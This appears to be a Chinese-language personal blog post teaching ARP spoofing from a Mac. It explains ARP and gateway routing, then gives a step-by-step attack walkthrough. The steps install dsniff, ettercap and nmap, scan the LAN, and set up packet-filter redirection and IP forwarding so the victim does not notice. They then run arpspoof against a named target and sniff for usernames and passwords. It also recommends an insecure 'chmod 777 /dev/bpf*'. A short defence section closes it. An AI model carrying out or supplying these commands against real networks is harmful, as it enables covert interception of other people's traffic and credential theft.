最近在油管上看到一個Hacker攻擊的技巧視頻,於是乎這幾天苦於鑽研,總算摸出點門道,把學到的知識寫下來以作記錄。kali Linux是Hacker常用的操作系統,本人在mac上嘗試實施。
mac 下準備
- 安裝 macports (macports官網)
- 更新 macports ,
sudo port -d selfupdate
- 安裝 dsniff(包含 arp 攻擊的工具)
sudo port install dsniff
-
安裝libtiff ,brew install libtiff
-
安裝gtk+3 , brew install gtk+3
-
安裝ettercap, brew install ettercap --with-gtk+
- 安裝 nmap
brew install nmap
1.1 什麼是網關
借用網上的定義,這篇文章介紹的很詳細,http://netsecurity.51cto.com/art/201303/386031.htm。首先來簡單解釋一下什麼是網關,網關工作在OSI七層模型中的傳輸層或者應用層,用於高層協議的不同網絡之間的連接,簡單地說,網關就好比是一個房間通向另一個房間的一扇門。
1.2 ARP協議是什麼
ARP(Address Resolution Protocol)地址轉換協議,工作在OSI模型的數據鏈路層,在以太網中,網絡設備之間互相通信是用MAC地址而不是IP地址,ARP協議就是用來把IP地址轉換爲MAC地址的。而RARP和ARP相反,它是反向地址轉換協議,把MAC地址轉換爲IP地址。
假設A(192.168.0.100)與B(192.168.0.101)在同一局域網,A要和B實現通信。A首先會發送一個數據包到廣播地址(192.168.0.1),該數據包中包含了源IP(A)、源MAC、目的IP(B)、目的MAC,這個數據包會被髮放給局域網中所有的主機,但是隻有B主機會回覆一個包含了源IP(B)、源MAC、目的IP(A)、目的MAC的數據包給A,同時A主機會將返回的這個地址保存在ARP緩存表中。
1.3 正常情況下主機通過路由器上網的原理
如上圖, 我們以 主機 A ping 8.8.8.8 爲例:
- 主機 A 上執行
ping 8.8.8.8
- 主機 A 準備根據默認路由將數據包發送給
192.168.0.1
, 但是最開始的時候主機 A 不知道192.168.0.1
的 Mac 地址, 所以主機 A 廣播一條 ARP Request, 詢問192.168.0.1
的 Mac 地址是什麼 - 路由器收到該 ARP 請求, 發現自己是
192.168.0.1
於是向主機 A 回覆一條 ARP Reply, 告訴主機 A192.168.0.1
的 Mac 地址是 xxxGW. - 主機 A 收到該 ARP Reply, 並使用該 Reply 中的 MAC 地址封一個 ICMP Request 包, 然後將包發出去
- 路由器收到該 ICMP 包, 發現目標 IP 是公網 IP, 便將該包放送到公網, 公網返回 ICMP Reply 給路由器
- 路由器準備將 ICMP Reply 發送給
192.168.0.100
, 但是同第2步, 路由器最開始的時候也不知道192.168.0.100
的 Mac 地址是多少, 所以路由器會廣播一條 ARP Request, 詢問192.168.0.100
的 Mac 地址是什麼 - 主機 A 收到 ARP Request, 發現自己是
192.168.0.100
, 於是向路由器回覆 ARP Reply, 告訴路由器192.168.0.100
的 Mac 地址是 xxxA. - 路由器收到 ARP Reply, 並使用該 Reply 中的 MAC 地址將第5步收到 ICMP Reply 包重新封包, 併發送出去
- 主機 A 收到 ICMP Reply
至此,正常的上網過程結束。
1.4 ARP欺騙原理
- 如果主機 B 無腦的向主機 A 發送 ARP Reply, 告訴 A
192.168.0.1
的 MAC 是 xxxB, 會發生什麼? - 如果主機 B 無腦的向路由器 GW 發送 ARP Reply, 告訴 GW
192.168.0.100
的 MAC 是 xxxB, 會發生什麼?
上面提到過了ARP緩存表,在每臺主機都有一個ARP緩存表,緩存表中記錄了IP地址與MAC地址的對應關係,而局域網數據傳輸依靠的是MAC地址。
假設主機 A 192.168.1.100,B 192.168.1.101,C 192.168.1.102; 網關 G 192.168.0.1; 在同一局域網,主機A和B通過網關G相互通信,就好比A和B兩個人寫信,由郵遞員G送信,C永遠都不會知道A和B之間說了些什麼話。但是並不是想象中的那麼安全,在ARP緩存表機制存在一個缺陷,就是當請求主機收到ARP應答包後,不會去驗證自己是否向對方主機發送過ARP請求包,就直接把這個返回包中的IP地址與MAC地址的對應關係保存進ARP緩存表中,如果原有相同IP對應關係,原有的則會被替換。
這樣C就有了偷聽A和B的談話的可能,繼續思考上面的例子:
C假扮郵遞員,首先要告訴A說:“我就是郵遞員” (C主機向A發送構造好的返回包,源IP爲G 192.168.1.1,源MAC爲C自己的MAC地址),愚蠢的A很輕易的相信了,直接把“C是郵遞員”這個信息記在了腦子裏;
C再假扮A,告訴郵遞員:“我就是A” (C向網關G發送構造好的返回包,源IP爲A 192.168.1.2,源MAC地址爲自己的MAC地址),智商捉急的郵遞員想都沒想就相信了,以後就把B的來信送給了C,C當然就可以知道A和B之間聊了些什麼
上面ABCG的故事就是ARP雙向欺騙的原理了
ARP單向欺騙就更好理解了,C只向A發送一個返回包,告訴A:G 192.168.0.1 的MAC地址爲 5c-63-bf-79-1d-fa(一個錯誤的mac地址),A把這個信息記錄在了緩存表中,而G的緩存表不變,也就是說,A把數據包給了C,而G的包還是給A,這樣就是ARP單向欺騙了。
1.5 ARP欺騙實戰
搜索目標
首先,開啓網卡,這是一切操作的基礎,讓本機擁有網卡功能,後期出現bug有可能是網卡未開啓的原因。
sudo chmod 777 /dev/bpf*
查看目標主機的ARP緩存記錄的網關IP以及mac地址,可見網關開啓在en0端口。
arp -a
命令行輸入 ifconfig查看本機IP。
使用 ping 方式掃描,192.168.31.1/24”表示掃描"192.168.31.1-192.168.1.254"這個網段的所有機器。
nmap -sP 192.168.31.1/24
經過掃描,可以看到所有處在此局域網的所有機器,192.168.31.1是網關,192.168.31.84是本機IP,192.168.31.70設定爲目標IP。
開啓端口轉發
mac 下 (修改 mac 的packet filter包過濾器):
-
在 /etc/pf.anchors 目錄下新建文件 http,內容如下
rdr pass on en0 proto tcp from any to any port 80 -> 127.0.0.1 port 8080
8080是程序監聽的端口號 -
修改 /etc/pf.conf 文件,在適當的位置加入
rdr-anchor "http-forwarding"
和load anchor "http-forwarding" from "/etc/pf.anchors/http"
兩行命令.必須按照順序插入,否則會無效。 /etc/pf.conf 修改後是這樣:
# # com.apple anchor point # scrub-anchor "com.apple/*" nat-anchor "com.apple/*" rdr-anchor "com.apple/*" rdr-anchor "http-forwarding" dummynet-anchor "com.apple/*" anchor "com.apple/*" load anchor "com.apple" from "/etc/pf.anchors/com.apple" load anchor "http-forwarding" from "/etc/pf.anchors/http"
-
重啓 packet filter,依次輸入命令
sudo pfctl -ef /etc/pf.conf
和sudo pfctl -E
開啓IP轉發
在進行arp欺騙之前必須要開啓IP轉發,使得本機具有路由功能,否則當欺騙成功之後,目標機會斷網,這樣會被對方察覺。
mac 下:
sudo sysctl -w net.inet.ip.forwarding=1
linux 下:
echo1 >/proc/sys/net/ipv4/ip_forward
查看本機IP轉發情況:
sudo sysctl -a | grep forward
另外,確保已經安裝好macports。
ARP欺騙
假設被攻擊的 IP 是 192.168.31.70,局域網的網關是 192.168.31.1,攻擊電腦使用的網卡接口是 en0,則欺騙命令如下:
# arpspoof -i en0 -t (目標IP) (網關IP)
arpspoof -i en0 -t 192.168.31.70 192.168.31.1
如圖,攻擊者向目標IP192.168.31.70發送返回包,包含內容:
源ip:192.168.31.1
源MAC:20:c9:d0:79:2b:17
此時再查看目標主機的網關和IP地址,可以看出目標主機arp緩存已經發生了變化,在緩存表中所記錄的網關(192.168.31.1)的MAC已經變爲了攻擊者的MAC
ettercap截獲流量
首先確保完成前三步驟,搜尋目標、端口轉發、IP轉發,然後命令行開啓ettercap的圖形窗口:
sudo ettercap -G
選擇網卡端口en0, Sniff------Unified Sniffing
Hosts-----Scan for hosts,在Host List中添加目標主機IP到Target 2,添加網關IP到Target 1。這裏需要說一下,一些資料說Target 1要添加網關IP,衆說紛紜,但在我本機測試,我選擇Target 2。
Mitm----ARP Poising---
Start ----Sniffing
正常在這裏,目標機進行登錄事件,我這裏會截獲USER和PASSWOED,但是始終不成功,還未找到原因在哪。
ARP欺騙的危害
局域網之間主機通信會收到影響,如果是網關欺騙,上互聯網也會受影響,黑客利用ARP欺騙可以竊取用戶敏感信息、掛木馬等,在這裏我簡單演示一下ARP欺騙嗅探Telnet賬戶密碼。command+N開啓新的命令行
dsniff需要創建原始套接字,因此需要超級用戶權限。用sudo運行它
怎樣防範ARP欺騙
1.在主機綁定網關MAC與IP地址爲靜態(默認爲動態),命令:arp -s 網關IP 網關MAC
2.在網關綁定主機MAC與IP地址
3.使用ARP防火牆